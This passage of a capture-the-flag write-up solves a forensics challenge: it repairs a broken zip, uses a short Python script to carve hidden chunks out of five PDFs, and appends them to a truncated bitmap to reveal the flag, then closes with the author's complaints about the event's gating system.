0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 34029, uncompressed size: 240655, name: dummy.pdf
34068         0x8514          Zip archive data, at least v2.0 to extract, compressed size: 122001, uncompressed size: 329099, name: fw9.pdf
156106        0x261CA         Zip archive data, at least v2.0 to extract, compressed size: 15206, uncompressed size: 186536, name: pdf-sample.pdf
171356        0x29D5C         Zip archive data, at least v2.0 to extract, compressed size: 25675, uncompressed size: 164375, name: pdf-test.pdf
197073        0x301D1         Zip archive data, at least v2.0 to extract, compressed size: 83316, uncompressed size: 292081, name: pdfurl-guide.pdf
280435        0x44773         Zip archive data, at least v2.0 to extract, compressed size: 105, uncompressed size: 138, name: Question
280957        0x4497D         End of Zip archive, footer length: 22

When extracted, fw9.pdf and Question are not extracted. We can fix the zip with zip -FF How_can_I_fight.zip --out fixed.zip, then unzip it to get 5 PDFs and a 138byte Question (.bmp missing all its data).

Nothing special appears in the PDFs when viewed, but when strings is ran:

$ strings *.pdf | grep genius
                               Hello if you find this message, you are a genius!(4/5)                       START>>
                               Hello if you find this message, you are a genius!(5/5)                        START>>
                               Hello if you find this message, you are a genius!(2/5)                        START>>YU
                               Hello if you find this message, you are a genius!(3/5)                        START>>
                               Hello if you find this message, you are a genius!(1/5)                        START>>

Taking a look inside the PDF, we also see a corresponding <<END string after START>>. Carving out all the data between and placing them in order gives us a big blob of binary data.

import glob
import re

carved = [None] * 5
for f in glob.glob("*.pdf"):
    print(f)
    with open(f, "rb") as f:
        data = f.read()

        m = re.search(b"genius!\((\d)/5\)\s+START>>(.+)<<END", data, flags=re.DOTALL)

        index, chunk = m.groups(1)

        carved[int(index) - 1] = chunk

with open("out.bin", "wb") as f:
    for chunk in carved:
        f.write(chunk)

Appending this carved data to Question found earlier displays the flag.

Conclusion

I (personally) am not too impressed with this CTF. There were quite a few challenges like [RE (Windows)-2] Dissect Me and Wanna PK which required pure, blind luck and guessing. When combined with their gating system (requiring almost the entire previous category to be solved before you can move to the next category), this made the event very very frustrating at times. At one point, we were stuck on the last few challenges in Warp Gate 4 for almost 24h before making a breakthrough into Warp Gate 3.